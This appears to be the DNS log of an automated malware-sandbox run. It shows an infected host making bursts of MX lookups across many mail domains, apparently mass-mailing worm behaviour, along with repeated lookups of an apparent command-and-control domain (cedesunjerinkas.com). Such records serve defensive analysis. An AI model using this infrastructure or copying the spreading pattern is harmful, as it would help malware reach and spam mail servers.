Jan 7, 2022 15:57:13.978679895 CET	192.168.2.4	8.8.8.8	0x1a79	Standard query (0)	ppp.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:14.004894972 CET	192.168.2.4	8.8.8.8	0x79a9	Standard query (0)	ppp.ro	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:14.885382891 CET	192.168.2.4	8.8.8.8	0x5ad8	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:14.915590048 CET	192.168.2.4	8.8.8.8	0x311c	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:14.950397968 CET	192.168.2.4	8.8.8.8	0xb0bf	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:14.978406906 CET	192.168.2.4	8.8.8.8	0xedc7	Standard query (0)	domini.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.002094030 CET	192.168.2.4	8.8.8.8	0x60cd	Standard query (0)	domini-cat.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.307429075 CET	192.168.2.4	8.8.8.8	0x61d	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.348932981 CET	192.168.2.4	8.8.8.8	0x5630	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.372279882 CET	192.168.2.4	8.8.8.8	0x3a2b	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.395855904 CET	192.168.2.4	8.8.8.8	0xb113	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.422959089 CET	192.168.2.4	8.8.8.8	0xff53	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.433434010 CET	192.168.2.4	8.8.8.8	0x451b	Standard query (0)	openssl.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.446719885 CET	192.168.2.4	8.8.8.8	0xf505	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.455375910 CET	192.168.2.4	8.8.8.8	0xdeaf	Standard query (0)	mta.openssl.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.541671038 CET	192.168.2.4	8.8.8.8	0x8c9b	Standard query (0)	cryptsoft.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.678025007 CET	192.168.2.4	8.8.8.8	0x2a01	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.697818041 CET	192.168.2.4	8.8.8.8	0x1575	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.725528002 CET	192.168.2.4	8.8.8.8	0x339b	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.747761011 CET	192.168.2.4	8.8.8.8	0xdaea	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.773611069 CET	192.168.2.4	8.8.8.8	0x2e05	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:16.694701910 CET	192.168.2.4	8.8.8.8	0x7c29	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:27.147722960 CET	192.168.2.4	8.8.8.8	0x535d	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.916882992 CET	192.168.2.4	8.8.8.8	0x381a	Standard query (0)	cryptsoft.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.917372942 CET	192.168.2.4	8.8.8.8	0x49ca	Standard query (0)	pobox.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.921384096 CET	192.168.2.4	8.8.8.8	0xedfc	Standard query (0)	netcom.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.922199011 CET	192.168.2.4	8.8.8.8	0x85ec	Standard query (0)	northcoast.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.925926924 CET	192.168.2.4	8.8.8.8	0x720c	Standard query (0)	theriver.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.927109957 CET	192.168.2.4	8.8.8.8	0xc4f9	Standard query (0)	cl.cam.ac.uk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.927128077 CET	192.168.2.4	8.8.8.8	0x99eb	Standard query (0)	src.dec.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.940608025 CET	192.168.2.4	8.8.8.8	0x4254	Standard query (0)	pb-mx9.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.945360899 CET	192.168.2.4	8.8.8.8	0x664d	Standard query (0)	mx01.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.961366892 CET	192.168.2.4	8.8.8.8	0x7b50	Standard query (0)	pb-mx23.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.968986988 CET	192.168.2.4	8.8.8.8	0x7857	Standard query (0)	bryson.demon.co.uk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.975466013 CET	192.168.2.4	8.8.8.8	0x7be	Standard query (0)	mx02.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.975485086 CET	192.168.2.4	8.8.8.8	0x20e1	Standard query (0)	mx.cam.ac.uk	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.985363007 CET	192.168.2.4	8.8.8.8	0x6c0c	Standard query (0)	pb-mx20.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.997147083 CET	192.168.2.4	8.8.8.8	0x6553	Standard query (0)	onlineconnections.com.au	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.003314018 CET	192.168.2.4	8.8.8.8	0xbd87	Standard query (0)	mx03.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.011894941 CET	192.168.2.4	8.8.8.8	0xf1f7	Standard query (0)	pb-mx14.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.026175022 CET	192.168.2.4	8.8.8.8	0xb1ec	Standard query (0)	mx04.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.036200047 CET	192.168.2.4	8.8.8.8	0xad5	Standard query (0)	mxa-00377f03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.038832903 CET	192.168.2.4	8.8.8.8	0x945a	Standard query (0)	pb-mx22.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.045835972 CET	192.168.2.4	8.8.8.8	0x2458	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.049731016 CET	192.168.2.4	8.8.8.8	0x7faf	Standard query (0)	ismtp.sitestar.everyone.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.067604065 CET	192.168.2.4	8.8.8.8	0xe014	Standard query (0)	pb-mx10.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.073375940 CET	192.168.2.4	8.8.8.8	0x88bf	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.098547935 CET	192.168.2.4	8.8.8.8	0xef18	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.119997025 CET	192.168.2.4	8.8.8.8	0x88a0	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.142374992 CET	192.168.2.4	8.8.8.8	0xf3d8	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.156872988 CET	192.168.2.4	8.8.8.8	0x57e7	Standard query (0)	mxb-00377f03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.237675905 CET	192.168.2.4	8.8.8.8	0x8c4b	Standard query (0)	pb-mx21.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.237710953 CET	192.168.2.4	8.8.8.8	0x3e30	Standard query (0)	onlineconnections.com.au	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.258855104 CET	192.168.2.4	8.8.8.8	0x2d11	Standard query (0)	pb-mx11.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.277386904 CET	192.168.2.4	8.8.8.8	0xcb9e	Standard query (0)	mxb-00377f01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.304826021 CET	192.168.2.4	8.8.8.8	0xd53	Standard query (0)	mxa-00377f01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.996731043 CET	192.168.2.4	8.8.8.8	0xf577	Standard query (0)	openoffice.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.020252943 CET	192.168.2.4	8.8.8.8	0x6c0a	Standard query (0)	mx2-lw-eu.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.046312094 CET	192.168.2.4	8.8.8.8	0x30be	Standard query (0)	w3.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.046354055 CET	192.168.2.4	8.8.8.8	0x8f69	Standard query (0)	mx1-lw-eu.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.069530010 CET	192.168.2.4	8.8.8.8	0xab41	Standard query (0)	bart.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.072577953 CET	192.168.2.4	8.8.8.8	0xfc5e	Standard query (0)	mx2-lw-us.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.095573902 CET	192.168.2.4	8.8.8.8	0xc7ce	Standard query (0)	mimas.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.099582911 CET	192.168.2.4	8.8.8.8	0xc9c0	Standard query (0)	mx1-lw-us.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.195997953 CET	192.168.2.4	8.8.8.8	0x6e3f	Standard query (0)	lists.sourceforge.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.199517012 CET	192.168.2.4	8.8.8.8	0x7af3	Standard query (0)	titan.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.220329046 CET	192.168.2.4	8.8.8.8	0x7a7e	Standard query (0)	mx.sourceforge.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.403606892 CET	192.168.2.4	8.8.8.8	0x3b22	Standard query (0)	jk.uni-linz.ac.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.425497055 CET	192.168.2.4	8.8.8.8	0xfd68	Standard query (0)	mail3.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.452406883 CET	192.168.2.4	8.8.8.8	0x7c0e	Standard query (0)	mail4.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.478480101 CET	192.168.2.4	8.8.8.8	0x1f64	Standard query (0)	mail1.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.505861044 CET	192.168.2.4	8.8.8.8	0x1f6e	Standard query (0)	mail2.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.592981100 CET	192.168.2.4	8.8.8.8	0xe484	Standard query (0)	cdata.tvnet.hu	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.634500980 CET	192.168.2.4	8.8.8.8	0x5963	Standard query (0)	cdata.tvnet.hu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.688936949 CET	192.168.2.4	8.8.8.8	0xda47	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.712004900 CET	192.168.2.4	8.8.8.8	0x1bfd	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:42.386815071 CET	192.168.2.4	8.8.8.8	0xbb83	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.443995953 CET	192.168.2.4	8.8.8.8	0xa3d2	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.487023115 CET	192.168.2.4	8.8.8.8	0x3fa0	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.513772964 CET	192.168.2.4	8.8.8.8	0xbf4d	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.548877001 CET	192.168.2.4	8.8.8.8	0xa888	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.653770924 CET	192.168.2.4	8.8.8.8	0x895f	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.879271030 CET	192.168.2.4	8.8.8.8	0x9cfb	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.905355930 CET	192.168.2.4	8.8.8.8	0xf3e2	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.935544968 CET	192.168.2.4	8.8.8.8	0x952	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.971812963 CET	192.168.2.4	8.8.8.8	0xcc31	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.017815113 CET	192.168.2.4	8.8.8.8	0xfd14	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.065102100 CET	192.168.2.4	8.8.8.8	0x7f21	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.091761112 CET	192.168.2.4	8.8.8.8	0xd5f1	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.129164934 CET	192.168.2.4	8.8.8.8	0xc561	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.157813072 CET	192.168.2.4	8.8.8.8	0xdb4d	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.186940908 CET	192.168.2.4	8.8.8.8	0x8af9	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.216276884 CET	192.168.2.4	8.8.8.8	0xc87f	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.253132105 CET	192.168.2.4	8.8.8.8	0x447e	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.282188892 CET	192.168.2.4	8.8.8.8	0x3b97	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.313831091 CET	192.168.2.4	8.8.8.8	0x6098	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.345856905 CET	192.168.2.4	8.8.8.8	0x1045	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.376864910 CET	192.168.2.4	8.8.8.8	0x5cec	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.428689003 CET	192.168.2.4	8.8.8.8	0x29c2	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.779328108 CET	192.168.2.4	8.8.8.8	0x186a	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.826330900 CET	192.168.2.4	8.8.8.8	0x246d	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.859905005 CET	192.168.2.4	8.8.8.8	0x2490	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.906830072 CET	192.168.2.4	8.8.8.8	0x3a87	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.940376997 CET	192.168.2.4	8.8.8.8	0x73d5	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.980890989 CET	192.168.2.4	8.8.8.8	0x7a09	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.014334917 CET	192.168.2.4	8.8.8.8	0x50fd	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.046946049 CET	192.168.2.4	8.8.8.8	0xa31d	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.106439114 CET	192.168.2.4	8.8.8.8	0x2bee	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.144248009 CET	192.168.2.4	8.8.8.8	0xe53c	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.185895920 CET	192.168.2.4	8.8.8.8	0x9fd1	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.236685038 CET	192.168.2.4	8.8.8.8	0xd229	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.267029047 CET	192.168.2.4	8.8.8.8	0x8257	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.297395945 CET	192.168.2.4	8.8.8.8	0xb39b	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.355448961 CET	192.168.2.4	8.8.8.8	0x91e8	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.389843941 CET	192.168.2.4	8.8.8.8	0xb5e	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.422497034 CET	192.168.2.4	8.8.8.8	0x60f0	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.465116024 CET	192.168.2.4	8.8.8.8	0x85e1	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.499677896 CET	192.168.2.4	8.8.8.8	0x374e	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.534560919 CET	192.168.2.4	8.8.8.8	0xa077	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.583503008 CET	192.168.2.4	8.8.8.8	0x9d0c	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.624094009 CET	192.168.2.4	8.8.8.8	0xf0d7	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.657794952 CET	192.168.2.4	8.8.8.8	0x63e	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.704015017 CET	192.168.2.4	8.8.8.8	0x4469	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.735176086 CET	192.168.2.4	8.8.8.8	0x1269	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.781753063 CET	192.168.2.4	8.8.8.8	0xb8f	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.812834024 CET	192.168.2.4	8.8.8.8	0x3845	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:50.905427933 CET	192.168.2.4	8.8.8.8	0x4a57	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:50.940814972 CET	192.168.2.4	8.8.8.8	0x5c8c	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:51.005285025 CET	192.168.2.4	8.8.8.8	0xc39e	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:51.358369112 CET	192.168.2.4	8.8.8.8	0x4731	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:51.656126022 CET	192.168.2.4	8.8.8.8	0x397e	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:58:14.658153057 CET	192.168.2.4	8.8.8.8	0x4580	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.694231033 CET	192.168.2.4	8.8.8.8	0xc5fb	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.739842892 CET	192.168.2.4	8.8.8.8	0x6b88	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.788883924 CET	192.168.2.4	8.8.8.8	0xc2a	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.834814072 CET	192.168.2.4	8.8.8.8	0xf898	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.879556894 CET	192.168.2.4	8.8.8.8	0xb2f7	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.916623116 CET	192.168.2.4	8.8.8.8	0x9191	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.975737095 CET	192.168.2.4	8.8.8.8	0xae56	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.022599936 CET	192.168.2.4	8.8.8.8	0xb0	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.048413038 CET	192.168.2.4	8.8.8.8	0xfaee	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.078471899 CET	192.168.2.4	8.8.8.8	0x7a03	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.103832006 CET	192.168.2.4	8.8.8.8	0xd726	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:58:15.109992027 CET	192.168.2.4	8.8.8.8	0xc3e6	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 7, 2022 15:55:55.715244055 CET	8.8.8.8	192.168.2.4	0x1957	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:55.715244055 CET	8.8.8.8	192.168.2.4	0x1957	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:55.715244055 CET	8.8.8.8	192.168.2.4	0x1957	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.761254072 CET	8.8.8.8	192.168.2.4	0x862d	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.903605938 CET	8.8.8.8	192.168.2.4	0x17cb	No error (0)	mta6.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.945007086 CET	8.8.8.8	192.168.2.4	0x571d	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.997138023 CET	8.8.8.8	192.168.2.4	0x8055	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.036650896 CET	8.8.8.8	192.168.2.4	0x9b2a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.036650896 CET	8.8.8.8	192.168.2.4	0x9b2a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.036650896 CET	8.8.8.8	192.168.2.4	0x9b2a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.036650896 CET	8.8.8.8	192.168.2.4	0x9b2a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.036650896 CET	8.8.8.8	192.168.2.4	0x9b2a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.057832003 CET	8.8.8.8	192.168.2.4	0x289d	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.117574930 CET	8.8.8.8	192.168.2.4	0xcf12	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.160283089 CET	8.8.8.8	192.168.2.4	0x474f	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.183466911 CET	8.8.8.8	192.168.2.4	0x81dd	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
